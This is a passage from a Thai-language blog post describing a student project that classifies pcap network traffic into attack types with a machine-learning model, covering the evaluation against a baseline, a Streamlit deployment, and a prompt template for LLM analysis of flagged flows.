แต่พอเป็นคนละหน่วยแบบนี้มันก็เทียบกันยากว่าใครดีกว่ากันแน่</p><p>ดังนั้น เราจึงต้องคิดหาวิธีแปลงผลของโมเดลเรา จาก Flow by Flow ให้อยู่ในรูปแบบ Packet by Packet เพื่อให้สามารถเทียบกับ Baseline ได้ในหน่วยเดียวกัน</p><p>แต่เราจะทำยังไงล่ะ? ในเมื่อตัวแปลงของเราไม่ได้มี Packet Index ติดมาด้วยเลย</p><p>สิ่งแรกที่เราพอจะคิดได้ก็คือการไปลองดูว่าจริงๆ แล้วเจ้า CICFlowMeter มันทำงานยังไงกันแน่ โดยเราเริ่มจากการดูตัวไฟล์ Executable ที่เราเรียกใช้งานมันก่อน โดยมีตัวช่วยคือ Gemini และ ChatGPT เนื่องจากเราไม่ได้ช่ำชองภาษา bash และ java ซึ่งเป็นภาษาที่ CICFlowMeter ใช้ จนขนาดนี้สามารถนั่งแกะเองภายในระยะเวลาที่เหลืออยู่ก่อนจะต้องส่งโปรเจคได้ TT</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*fzeqpguJVbS7R16hmrZuBQ.png" /></figure><p>พอลองเอาไฟล์ ELF (Executable and Linkable Format) ใน /bin ที่เราเรียกใช้ไปโยนลงแชทก็ได้เจอว่า Process หลักๆ ในการแปลงจะมาจากไฟล์ที่ชื่อ CICFlowMeter-3.0.jar ใน /lib หลังจากนั้นเราก็นำไฟล์ตัวนี้ไป decomplie ด้วย เว็ปไซต์ <a href="http://decompiler.com/">decompiler.com</a> เพื่อดู source code ด้านใน และทำการโหลดมานั่งดู</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*inLRF7BnXsJsKhjTkrksQQ.png" /></figure><p>Idea แรกก็คือการเขียน python code เพื่อ simulate การทำงานของมันออกมาแล้วเพิ่ม Feature packet index เข้าไปอีก column เป็น list ในแต่ละ flow เช่น</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/205/1*wWtP54QbR6qk6MD6MLpdFQ.png" /><figcaption>อะไรประมาณนี้</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*TltXAf-rPXvJV_hZRgAK7A.png" /></figure><p>หลังจากที่บอก Gemini ไปแบบนี้น้องก็พ่นการทำงานของ CICFlowmter ออกมา แต่ว่า…เราไม่ค่อยจะเชื่อเท่าไหร่ ไปเอามาจากไหนไม่รู้ เลยบอกว่าให้ลองดู source code ให้หน่อยเพื่อ confirm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*jtielrjUHWyMPw3Y9WGSLQ.png" /></figure><p>เราเริ่มจากการให้ Gemini ดูไฟล์ .java ที่เป็นเหมือน main code แล้วก็ไล่ไปเรื่อยๆ จากตรงนั้นเพื่อให้เห็นภาพรวมว่าหลักการทำงานเป็นยังไงกันแน่โดยยึดหลักการที่เราต้องการจะ map index กับ flow แต่ละ flow ที่ generate ออกมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*am7oZRX6ofgy2Mi57x2fbw.png" /></figure><p>โดยถ้าจะให้สรุปหลักที่ใช้หลักๆ ก็คือการจะ map flow ไป packet ได้จะใช้สิ่งหลักๆ อยู่สองอย่างคือ 5-tuple และ Timestamp โดย 5-tuple จะหมายถึงการรวมกันของ Feature 5 อันเพื่อประกอบกันเป็น Flow ID ที่บ่งบอกถึง flow นั้นๆ ได้แก่ Source IP, Destination IP, Source Port, Destination Port และ Protocol โดยการ group flow จะ group จาก packet ที่มี 5-tuple เหมือนกันที่อยู่ในช่วงเวลาเดียวกันโดยคำนึงถึง Timestamp ของแต่ละ Packet และ Flow</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*iZ5Mm5k65e38bUr7sLSc_g.png" /><figcaption>ตัวอย่าง Flow ID เทียบกับ 5-tuple</figcaption></figure><p>พอเราได้ Program ที่ Generate packet index ของแต่ละ flow ได้แล้ว เราก็เอาไปรวมกับตัว Data เดิมที่ถูก Generate จาก CICFlowMeter แบบ original ก็จะรู้แล้วว่าแต่ละ Flow ที่ถูก Predict ออกมานั้นจริงๆ มาจาก Packet ไหน</p><p>โดยในการทดสอบโมเดลเราจะดูสองจุดหลักๆ <strong>จุดแรก</strong>คือ ค่า <strong>Recall </strong>ของการ Predict แบบ packet by packet โดยจะใช้เพื่อเทียบระหว่าง Model ของเรากับ Baseline โดยจะยึดหลักที่ว่าหาก Recall สูงแสดงว่าโมเดลดีกว่า เนื่องจากค่า Recall บ่งบอกว่า จาก Packet ทั้งหมดที่เป็น attack นั้น โมเดลทายถูกเท่าไหร่ เนื่องจากเรารู้แค่ว่าทั้งไฟล์ pcap มีแค่ attack นั้นและ Label ข้อมูลให้ทั้งไฟล์เป็น attack นั้นไปเลย ดังนั้น การที่ค่า Recall มากก็จะหมายความว่าโมเดลทายตรง attack ที่ถูกมากกว่านั่นเอง <strong>จุดที่สอง</strong>คือการใช้ <strong>Majority Vote</strong> ของแต่ละไฟล์มาดูว่าโมเดลทายตรง attack กี่ percent จากไฟล์ทั้งหมด</p><p>โดยหลักการของ Majority Vote ของเราคือหากไฟล์ pcap นี้มีแม้แต่ packet เดียวที่ไม่ใช่ Benign จะถือว่าไฟล์นั้นเป็น attack นั้นทันที แต่หากไฟล์ pcap ใดที่ไม่มีแม้แต่ packet เดียวที่ไม่ใช่ Benign จึงจะถือว่าไฟล์ pcap นั้นเป็น Benign</p><h4>7.1 FTP-Bruteforce and SSH-Bruteforce</h4><p>ในการ Predict แบบ Packet by Packet</p><ul><li>โมเดลของเราทาย Class FTP-Bruteforce ไม่ผิดเป็น Attack อื่นเลย</li><li>Baseline จะทายผิดไปเป็น DoS-HTTP-Flood ส่วนใหญ่</li><li>Class SSH-Bruteforce โมเดลของเรามีการทายผิดเป็น Class PortScan เล็กน้อย แต่ Packet ส่วนมากยังคงทายเป็น SSH-Bruteforce อีกทั้งยังมีการทายเป็น Benign น้อยมาก ซึ่งแสดงว่าโมเดลทำได้ดีมากใน Class นี้</li><li>Baseline ก็เป็นไปในทำนองเดียวกัน คือทายผิดเป็น Class PortScan เล็กน้อย แต่ Baseline ทำนายเป็น Benign เยอะกว่าโมเดลของเรา</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*Orqmsbvo8foulzZ6_MRGFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*kaVoY5cFkTlxk4-7jlkPEw.png" /><figcaption>[Left — My Model] Packet By Packet Confusion Matrix [Right — Baseline]</figcaption></figure><p>ในการ Predict แบบรายไฟล์ pcap</p><ul><li>โมเดลของเราทายผิดเป็น Benign หนึ่งไฟล์ซึ่งเป็นไฟล์ที่เราไม่ได้ Simulate เองแต่ทายไฟล์ที่เรา Simulate เองถูกหมด</li><li>Baseline ทายผิดเป็น DoS-HTTP-Flood ทั้งหมด</li><li>Class SSH-Bruteforce ทั้งโมเดลของเราและ Baseline ทายถูกทั้งหมด</li></ul><pre># My Model - FTP-Bruteforce / SSH-Bruteforce<br>--- Results for FTP-Bruteforce ---<br>              File_Name          Result          Attack<br>0   bruteforce_ftp.pcap          Benign  FTP-Bruteforce<br>1  ftpbrute-ubuntu.pcap  FTP-Bruteforce  FTP-Bruteforce<br>2    ftpbrute-kali.pcap  FTP-Bruteforce  FTP-Bruteforce<br><br>: 2/3 = 66.67 %<br>----------------------------------------<br><br>--- Results for SSH-Bruteforce 3/3 ---<br>              File_Name          Result          Attack<br>0    sshbrute-kali.pcap  SSH-Bruteforce  SSH-Bruteforce<br>1   bruteforce_ssh.pcap  SSH-Bruteforce  SSH-Bruteforce<br>2  sshbrute-ubuntu.pcap  SSH-Bruteforce  SSH-Bruteforce<br><br>: 3/3 = 100.00%<br>----------------------------------------<br><br>--- Classification Report ---<br>                precision    recall  f1-score   support<br><br>FTP-Bruteforce       1.00      0.37      0.54     83992<br>SSH-Bruteforce       1.00      0.91      0.95    167450</pre><pre># Baseline - FTP-Bruteforce / SSH-Bruteforce <br>--- Results for FTP-Bruteforce ---<br>                         FileName          Result          Attack<br>0   bruteforce_ftp_prediction.csv  DoS-HTTP-Flood  FTP-Bruteforce<br>1  ftpbrute-ubuntu_prediction.csv  DoS-HTTP-Flood  FTP-Bruteforce<br>2    ftpbrute-kali_prediction.csv  DoS-HTTP-Flood  FTP-Bruteforce<br><br>: 0/3 = 0.00%<br>----------------------------------------<br><br>--- Results for SSH-Bruteforce ---<br>                         FileName          Result          Attack<br>0  sshbrute-ubuntu_prediction.csv  SSH-Bruteforce  SSH-Bruteforce<br>1    sshbrute-kali_prediction.csv  SSH-Bruteforce  SSH-Bruteforce<br>2   bruteforce_ssh_prediction.csv  SSH-Bruteforce  SSH-Bruteforce<br><br>: 3/3 = 100.00%<br>----------------------------------------<br><br>--- Classification Report ---<br>                precision    recall  f1-score   support<br><br>FTP-Bruteforce       1.00      0.01      0.01     83802<br>SSH-Bruteforce       1.00      0.36      0.53    167075</pre><p>ลองมาดูที่ไฟล์ซึ่งโมเดลของเราทายผิดเป็น Benign จะเห็นว่าโมเดลของเราทายผิดแบบผิดมากกก คือไม่เจอ Attack อะไรเลย ทุก packet เป็น Benign หมด แต่ของ Baseline ยังเจอ Attack FTP-Bruteforce และอื่นๆ บ้างแต่ทายทั้งไฟล์ออกมาเป็น DoS-HTTP-Flood เพราะมีจำนวน Packet มากกว่า เราคิดว่าอาจจะเป็นเพราะไฟล์นี้ใช้ tools ในการ bruteforce อื่นที่โมเดลของเราจับไม่เจอ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*1Sbx5e97zWa6q9RQKkO4HA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*8_w6us6rWNmTZS0Z_RPiVw.png" /><figcaption>[Left — My Model] bruteforce_ftp.pcap Confusion Matrix [Right — Baseline]</figcaption></figure><h4>7.2 DoS-HTTP-Flood</h4><p>ในการ Predict แบบ Packet by Packet</p><ul><li>โมเดลของเรามีการสับสนระหว่าง Class DoS-HTTP-Flood กับ DoS-Slow-Rate ค่อนข้างมาก ซึ่งก็คงมาจากการที่ว่าสอง Class นี้เป็น DoS เหมือนกันซึ่งแสดงให้เห็นว่าข้อสันนิษฐานว่าสองคลาสนี้แตกต่างกันชัดเจนอาจไม่ถูกนัก</li><li>Baseline มีการทายไปเป็นหลาย Attack มากกว่าเช่นมีทายเป็น SSH-Bruteforce กับ PortScan ด้วยเล็กน้อยแต่ส่วนใหญ่จะทายถูกมากกว่าโมเดลของเรา แต่เหมือนกับ Class ที่แล้วเดิมคือมี Benign มากกว่าโมเดลของเรา</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*7KmQ1vZ-MhjvK_ZtKjRRBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*R9hBdfVZ4ET8NVaw03H7iw.png" /><figcaption>[Left — My Model] Packet By Packet Confusion Matrix [Right — Baseline]</figcaption></figure><p>ในการ Predict แบบรายไฟล์ pcap</p><ul><li>โมเดลของเรามีการทายผิดเป็น DoS-Slow-Rate และ Benign หนึ่งไฟล์</li><li>ส่วน Baseline ทายผิดแค่ไฟล์เดียวเป็น Other ซึ่งเป็นไฟล์เดียวกับที่โมเดลของเราทายผิดเป็น Benign</li></ul><pre># My Model- DoS-HTTP-Flood<br>--- Results for DoS-HTTP-Flood ---<br>                      File_Name          Result          Attack<br>0  DDoS HTTP Flood Attacks.pcap   DoS-Slow-Rate  DoS-HTTP-Flood<br>1                 http_dos.pcap  DoS-HTTP-Flood  DoS-HTTP-Flood<br>2                GoldenEye.pcap  DoS-HTTP-Flood  DoS-HTTP-Flood<br>3                     hulk.pcap          Benign  DoS-HTTP-Flood<br>4          DoS-Hulk_attack.pcap   DoS-Slow-Rate  DoS-HTTP-Flood<br>5     DoS-GoldenEye_attack.pcap  DoS-HTTP-Flood  DoS-HTTP-Flood<br><br>: 4/6 = 66.67%<br>----------------------------------------<br><br>--- Classification Report ---<br>                precision    recall  f1-score   support<br><br>DoS-HTTP-Flood       1.00      0.16      0.28   1110454</pre><pre># Baseline - DoS-HTTP-Flood<br><br>--- Results for DoS-HTTP-Flood ---<br>                                 FileName          Result          Attack<br>0                 http_dos_prediction.csv  DoS-HTTP-Flood  DoS-HTTP-Flood<br>1     DoS-GoldenEye_attack_prediction.csv  DoS-HTTP-Flood  DoS-HTTP-Flood<br>2                GoldenEye_prediction.csv  DoS-HTTP-Flood  DoS-HTTP-Flood<br>3                     hulk_prediction.csv           Other  DoS-HTTP-Flood<br>4          DoS-Hulk_attack_prediction.csv  DoS-HTTP-Flood  DoS-HTTP-Flood<br>5  DDoS HTTP Flood Attacks_prediction.csv  DoS-HTTP-Flood  DoS-HTTP-Flood<br><br>: 5/6 = 83.33%<br>----------------------------------------<br><br>--- Classification Report ---<br>                precision    recall  f1-score   support<br><br>DoS-HTTP-Flood       1.00      0.07      0.13   1110305</pre><p>รอบนี้เราลองดู confusion matrix ของไฟล์ที่ทั้งโมเดลของเราและ Baseline ทายไม่ถูกก็พบว่าทั้งคู่หา Attack ไม่ค่อยจะเจอ คือเจอน้อย หรือในเคสของโมเดลเราก็คือไม่เจอเลย สังเกตว่าไฟล์นี้มีจำนวน packet ค่อนข้างน้อยอาจจะเพราะเหตุผลนี้ที่ทำให้ Attack ที่เจอมีน้อยมากๆ ก็ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*cwKF_J_OiN6YI_4m5IYtLg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*Zuh9F6KAKlPbmGua3T3TRw.png" /><figcaption>[Left — My Model] hulk.pcap Confusion Matrix [Right — Baseline]</figcaption></figure><h4>7.3 DoS-Slow-Rate</h4><p>ในการ Predict แบบ Packet by Packet</p><ul><li>โมเดลของเราไม่มีการทายเป็น Class อื่นเลยนอกจาก Class ที่ถูกต้อง แต่ Benign เยอะมากๆ</li><li>Baseline มีการทายเป็น DoS-HTTP-Flood และ Other มากกว่าคลาสที่ถูกต้อง แต่มี Benign น้อยกว่าโมเดลของเรา</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*wCtG_lBHb_HE6E5XSmVLLQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*HoqW5suW3dba_B27mYZIKQ.png" /><figcaption>[Left — My Model] Packet By Packet Confusion Matrix [Right — Baseline]</figcaption></figure><p>ในการ Predict แบบรายไฟล์ pcap</p><ul><li>โมเดลของเราทายถูกเพียงไฟล์เดียวส่วนที่เหลือทายเป็น benign</li><li>Baseline ทายไม่ถูกเลยโดยทายเป็น Other สองไฟล์และทายไฟล์ที่โมเดลของเราทายถูกว่าเป็น SSH-Bruteforce</li></ul><pre># My Model- DoS-Slow-Rate<br>--- Results for DoS-Slow-Rate ---<br>             File_Name         Result         Attack<br>0      slowread_1.pcap         Benign  DoS-Slow-Rate<br>1  http_slowloris.pcap  DoS-Slow-Rate  DoS-Slow-Rate<br>2      slowread_2.pcap         Benign  DoS-Slow-Rate<br><br>: 1/3 = 33.33%<br>----------------------------------------<br><br>--- Classification Report ---<br>               precision    recall  f1-score   support<br><br>DoS-Slow-Rate       1.00      0.02      0.04    388779<br></pre><pre># Baseline- DoS-Slow-Rate<br>--- Results for DoS-Slow-Rate ---<br>                        FileName          Result         Attack<br>0      slowread_2_prediction.csv           Other  DoS-Slow-Rate<br>1  http_slowloris_prediction.csv  SSH-Bruteforce  DoS-Slow-Rate<br>2      slowread_1_prediction.csv           Other  DoS-Slow-Rate<br><br>: 0/3 = 0.00%<br>----------------------------------------<br><br>--- Classification Report ---<br>                precision    recall  f1-score   support<br><br> DoS-Slow-Rate       1.00      0.00      0.01    385814</pre><h4>7.4 Benign</h4><p>ในการ Predict แบบ Packet by Packet</p><ul><li>โมเดลของเราทายผิดเป็น DoS-Slow-Rate และ SSH-Bruteforce นิดหน่อย</li><li>Baseline มีทายเป็น DoS,DoS-HTTP-Flood, SSH-Bruteforce และ Other</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*xgFo_QeIARfIVY1YMBPUYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*69sD4l_hL7MeczrySSiWyA.png" /><figcaption>[Left — My Model] Packet By Packet Confusion Matrix [Right — Baseline]</figcaption></figure><p>ในการ Predict แบบรายไฟล์ pcap</p><ul><li>โมเดลของเราส่วนใหญ่จะทายถูกจะมีทายผิดเป็น DoS-Slow-Rate กับ SSH-Bruteforce อย่างจะไฟล์</li><li>Baseline ทายไม่ถูกเลยส่วนใหญ่จะทายผิดเป็น Other และทายผิดเป็น DoS-HTTP-Flood สามไฟล์</li></ul><pre># My Model- Benign<br>--- Results for Benign ---<br>                    File_Name          Result  Attack<br>0           Normal-h3_11.pcap          Benign  Benign<br>1            Normal-h3_1.pcap          Benign  Benign<br>2            Normal-h3_5.pcap   DoS-Slow-Rate  Benign<br>3           Normal-h3_10.pcap          Benign  Benign<br>4   DoS-GoldenEye_benign.pcap          Benign  Benign<br>5        DoS-Hulk_benign.pcap          Benign  Benign<br>6            Normal-h3_6.pcap          Benign  Benign<br>7            Normal-h3_3.pcap          Benign  Benign<br>8            Normal-h3_9.pcap          Benign  Benign<br>9           Normal-h3_12.pcap          Benign  Benign<br>10           Normal-h3_2.pcap          Benign  Benign<br>11           Normal-h3_8.pcap          Benign  Benign<br>12           Normal-h3_4.pcap  SSH-Bruteforce  Benign<br><br>: 11/13 = 84.62%<br>----------------------------------------<br><br>--- Classification Report ---<br>                precision    recall  f1-score   support<br><br>        Benign       1.00      1.00      1.00   190369</pre><pre># Baseline- Benign<br>--- Results for Benign ---<br>                               FileName          Result  Attack<br>0   DoS-GoldenEye_benign_prediction.csv  DoS-HTTP-Flood  Benign<br>1            Normal-h3_4_prediction.csv           Other  Benign<br>2        DoS-Hulk_benign_prediction.csv  DoS-HTTP-Flood  Benign<br>3            Normal-h3_1_prediction.csv           Other  Benign<br>4            Normal-h3_9_prediction.csv           Other  Benign<br>5           Normal-h3_12_prediction.csv           Other  Benign<br>6            Normal-h3_6_prediction.csv           Other  Benign<br>7            Normal-h3_3_prediction.csv           Other  Benign<br>8           Normal-h3_11_prediction.csv           Other  Benign<br>9            Normal-h3_8_prediction.csv           Other  Benign<br>10           Normal-h3_2_prediction.csv           Other  Benign<br>11           Normal-h3_5_prediction.csv  DoS-HTTP-Flood  Benign<br>12          Normal-h3_10_prediction.csv           Other  Benign<br><br>: 0/13 = 0.00%<br>----------------------------------------<br><br>--- Classification Report ---<br>                precision    recall  f1-score   support<br><br>        Benign       1.00      0.98      0.99   1759331</pre><p>ลองมาดูไฟล์ Normal-h3_5.pcap ที่ทั้งคู่ทายเป็น Attack ตระกูล DoS ก็จะเห็นว่าโมเดลของเราทายเป็น Attack อยู่ประมาณ 20 กว่า packet ซึ่งน้อย แต่เรายึดตาม Logic ที่ว่าถ้ามี Attack แม้แต่ Packet เดียวก็จะถือว่าทั้งไฟล์นั้นเป็น Attack นั้น แต่ในส่วนของ Baseline คือทายผิดไปเยอะกว่าโมเดลของเรามาก</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*xUoTNt2ZJALtj-4896POxQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*LzovTnJ_ylSdRBtLDa-y6Q.png" /><figcaption>[Left — My Model] Normal-h3_5.pcap Confusion Matrix [Right — Baseline]</figcaption></figure><h4>7.5 PortScan</h4><p>ในการ Predict แบบ Packet by Packet</p><ul><li>ทั้งโมเดลของเราและ Baseline ทายไม่ถูกเลยสัก Packet 😭🙏 ซึ่งตอนนี้สันนิษฐานว่าน่าจะเป็นเพราะ Data ที่ใช้ Test น่าจะเป็น Reconnaissance โดยรวมไม่ใช่แค่ portscan โดย nmap , ซึ่ง Tools ในการทำ Recon มันเยอะมากกกก จนโมเดลของเราคงไม่สามารถจับ Pattern ได้เลยออกมาเป็นแบบนี้ สิ่งที่ทำได้คือการลอง simulate test set โดยใช้ nmap เพื่อมั่นใจว่าเป็น portscan จริงๆ มาลองเทสดูอีกทีว่าปัญหาอยู่ที่ตรงไหนกันแน่ ซึ่งเรายอมรับว่าเราไม่ได้ทำตรงนี้เพราะไม่ทัน</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*I3foURi2gFsDqjeb2MxTQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*HvxLUTm9vKvwJY36volV6g.png" /><figcaption>[Left — My Model] Packet By Packet Confusion Matrix [Right — Baseline]</figcaption></figure><p>ในการ Predict แบบรายไฟล์ pcap</p><ul><li>ดูจากการ Predict Packet by Packet ก็น่าจะรู้แล้วว่าทั้งโมเดลของเราและ Baseline ทายไม่ถูกเลยสักไฟล์</li></ul><pre># My Model- PortScan<br>--- Results for PortScan ---<br>                   File_Name  Result    Attack<br>0             nmap_null.pcap  Benign  PortScan<br>1              nmap_fin.pcap  Benign  PortScan<br>2  Port Scanning attack.pcap  Benign  PortScan<br><br>: 0/3 = 0.00%<br>----------------------------------------<br><br>--- Classification Report ---<br>              precision    recall  f1-score   support<br><br>    PortScan       0.00      0.00      0.00   27461</pre><pre># Baseline- PortScan<br>--- Results for PortScan ---<br>                              FileName Result    Attack<br>0             nmap_null_prediction.csv  Other  PortScan<br>1              nmap_fin_prediction.csv  Other  PortScan<br>2  Port Scanning attack_prediction.csv  Other  PortScan<br><br>: 0/3 = 0.00%<br>----------------------------------------<br>--- Classification Report ---<br>              precision    recall  f1-score   support<br><br>    PortScan       0.00      0.00      0.00   24090</pre><h4>7.6 Result Summary</h4><p>เราได้ทำการสรุปผลของ Model ของเราและ Baseline มาเป็นตารางเพื่อให้มองได้ง่ายขึ้นในการเปรียบเทียบโดยสีฟ้าจะเป็นเลขที่เกิดจากการนำจำนวนไฟล์ pcap ที่โมเดลทายตรงกับ Attack ที่ถูกต้องหารด้วยจำนวน pcap ที่ใช้ Test ทั้งหมดใน class นั้นๆ ส่วนสีส้มจะเป็นค่า Recall ของการ Predict packet by packet ซึ่งบ่งบอกว่าจาก packet ทั้งหมดโมเดลทายเป็น Attack ที่ถูกต้องมากเท่าใด</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*9kMiymB3EMWDmheDIK1rZg.png" /></figure><p>จากตารางจะเห็นว่าโมเดลของเราสามารถ</p><ul><li>ทายไฟล์ pcap แบบทั้งไฟล์ได้ดีกว่า Baseline ใน class Benign , DoS-Slow-Rate และ FTP-Bruteforce</li><li>ทายได้แย่กว่า Baseline ใน class DoS-HTTP-Flood</li><li>ทายได้ผลเท่ากับ Baseline ใน class PortScan และ SSH-Bruteforce</li></ul><p>และในส่วนของผล Recall ของการทายแบบ packet by packet</p><ul><li>โมเดลของเราสามารถทายได้แม่นยำกว่า Baseline ในทุกๆ คลาสยกเว้น PortScan ที่ทายได้เท่ากับ Baseline</li></ul><p>ซึ่งโดยภาพรวมแล้วก็พูดได้ว่า<strong>โมเดลของเราแม่นกว่า Baseline</strong></p><blockquote>Notebooks: <a href="https://github.com/Mc4minta/AIB5-PcapAttackClassifier/tree/main/Evaluation">Evaluation</a></blockquote><h3>8. Deployment</h3><p>ทีนี้เรามาพูดถึงการ Deploy เพื่อให้ใช้จริงได้ง่ายกัน โดยเราเลือกเป็นการใช้ Streamlit แต่ว่า Deploy โดยใช้ jupyter notebook ใน google colab ซึ่งเป็น linux และ host โดย ใช้ localtunnel เนื่องจาก Streamlit cloud ไม่อณุญาตให้เรารันคำสั่ง sudo เพื่อที่จะลง package libpcap-dev ที่ต้องใช้ในการรัน CICFlowMeter ได้ TT</p><p>นอกจากนั้นการ Deploy ของเราในตอนนี้ยังใช้งานได้ในระบบ Linux และ WSl เท่านั้น (ใน window รันได้โดยใช้ jupyter notebook) เนื่องจากหากอยากให้ใช้ใน window ได้ด้วยเราต้องเขียนโปรแกรมคนละแบบกันในการลง library ต่างๆ ซึ่งในครั้งนี้เราจะยังไม่ได้ทำด้วยข้อจำกัดทางเวลา</p><pre># โครงสร้างของโปรเจคคร่าวๆ<br>├── cleanup.py<br>├── main.py<br>├── requirements.txt<br>└── src<br>    ├── merge_flow.py<br>    ├── simulate_flow.py<br>    └── utils.py</pre><blockquote>Source code : <a href="https://github.com/Mc4minta/AIB5-PcapAttackClassifier/tree/main/Deployment">Deployment</a></blockquote><h4>8.1 Application Flow</h4><p>เมื่อเข้าไปที่ตัวหน้าแอปก็จะมีปุ่มให้ Start setup โดยโปรแกรมจะทำการติดตั้ง package libpcap-dev , Setup CICFlowMeter กับ โหลด Model และ Sample Pcap files ที่เราได้ upload ไว้ใน <a href="https://huggingface.co/Mc4minta/RandomForest400IntPortCIC1718/tree/main">hugging face</a> มา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*vWqzyySY1vWYZT5OCN_4oA.png" /></figure><p>เมื่อ setup เสร็จแล้ว user จะสามารถเลือกได้ว่าจะใช้ Sample Files หรือ Upload Pcap เองก็ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*hjSiu4NYREdwooigJ8TXqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*4SptkmgOwUdGvLlHS8Q4tQ.png" /></figure><p>หลังจากนั้นแอปจะโชว์ผลการ Predict ออกมาเป็น Bar graph และ ตารางแบบสรุป นอกจากนั้น user ยังสามารถเลือกดูเป็นตารางแบบราย Packet ที่มีรายละเอียดเฉพาะของแต่ละ Packet เช่น Source IP แลพ Destination IP ได้อีกด้วย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*ZNh6PNCA9RzcYlBrOhRJ0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*6vSWEbPfhsdwwAZ0YOm6gw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*1sDh4-EOan9Ap6NWQq9hRg.png" /></figure><p>user ยังสามารถให้ LLM วิเคราะห์ packet ที่ user เลือกจากนั้นคุยกับ LLM ต่อจากการวิเคราะห์นั้นได้อีกด้วยเพราะถึงเราจะรู้ว่าแต่ละ packet คือ attack อะไรแต่เราอาจจะอยากรู้ข้อมูลอื่นด้วยเช่นผู้โจมตีอาจอยากทำอะไรมาจาก ip ไหนเกี่ยวข้องกันยังไง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*Ncs9061uQmChvSnXpf1Erw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*dgFtR5r4uBZGuBBl90XsZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*i3-tCJL6c8ENvoB9hopOww.png" /><figcaption>Example LLM Response</figcaption></figure><h4>8.2 LLM Intregration</h4><p>ในส่วนของ LLM ที่เราใช้ใน demo ที่เห็นจะเป็น gemini-1.5-flash ซึ่งเรียกโดยใช้ google api โดยในส่วนนี้โดยใช้วิธีป้อนข้อมูล Row ของ packet ที่อยากถามให้ LLM โดย prompt ที่เราใช้จะเป็นตามนี้</p><pre>I have a network flow extracted from a .pcap file using CICFlowMeter, predicted by a machine learning model.<br>This flow was classified as: **{df_row[&#39;Label&#39;]}**.<br><br>Here are the flow details:<br>- **Packet Index**: {df_row[&#39;Packet_Indices&#39;]}<br>- **Source IP**: {df_row[&#39;Source_IP&#39;]}<br>- **Destination IP**: {df_row[&#39;Destination_IP&#39;]}<br>- **Destination Port**: {df_row[&#39;Destination_Port&#39;]}<br>- **Protocol**: {df_row[&#39;Protocol&#39;]}<br>- **Minimum segment size observed in the forward direction**: {df_row[&#39;Fwd_Seg_Size_Min&#39;]} bytes<br>- **Total initial window bytes in forward direction**: {df_row[&#39;Init_Fwd_Win_Byts&#39;]} bytes<br>- **Backward packets per second**: {df_row[&#39;Bwd_Pkts_s&#39;]}<br>- **Maximum time between two packets (Flow IAT Max)**: {df_row[&#39;Flow_IAT_Max&#39;]} ms<br>- **Flow Duration**: {df_row[&#39;Flow_Duration&#39;]} ms<br>- **Mean packet length**: {df_row[&#39;Pkt_Len_Mean&#39;]} bytes<br>- **Flow packets per second**: {df_row[&#39;Flow_Pkts_s&#39;]}<br>- **Forward header length**: {df_row[&#39;Fwd_Header_Len&#39;]} bytes<br>- **Total length of forward packets**: {df_row[&#39;TotLen_Fwd_Pkts&#39;]} bytes<br>- **Average packet size**: {df_row[&#39;Pkt_Size_Avg&#39;]} bytes<br>- **Total initial window bytes in backward direction**: {df_row[&#39;Init_Bwd_Win_Byts&#39;]} bytes<br>- **Mean time between two packets (Flow IAT Mean)**: {df_row[&#39;Flow_IAT_Mean&#39;]} ms<br>- **Average forward subflow bytes**: {df_row[&#39;Subflow_Fwd_Byts&#39;]} bytes<br>- **Mean backward packet length**: {df_row[&#39;Bwd_Pkt_Len_Mean&#39;]} bytes<br>- **Backward header length**: {df_row[&#39;Bwd_Header_Len&#39;]} bytes<br>- **Average segment size in backward direction**: {df_row[&#39;Bwd_Seg_Size_Avg&#39;]} bytes<br>- **PSH Flag Count**: {df_row[&#39;PSH_Flag_Cnt&#39;]}<br>- **Flow bytes per second**: {df_row[&#39;Flow_Byts_s&#39;]}<br>- **Forward packets per second**: {df_row[&#39;Fwd_Pkts_s&#39;]}<br><br>Given these details, please explain:<br>1.  **Why** might the model classify this flow as **{df_row[&#39;Label&#39;]}**? Elaborate on the features that strongly suggest this classification.<br>2.  What **suspicious behaviors** or **flow characteristics** directly support this classification, if any?<br>3.  What **insights** does this specific prediction provide about the network activity?<br>4.  What parts of the original **.pcap file** (e.g., specific filters to apply in 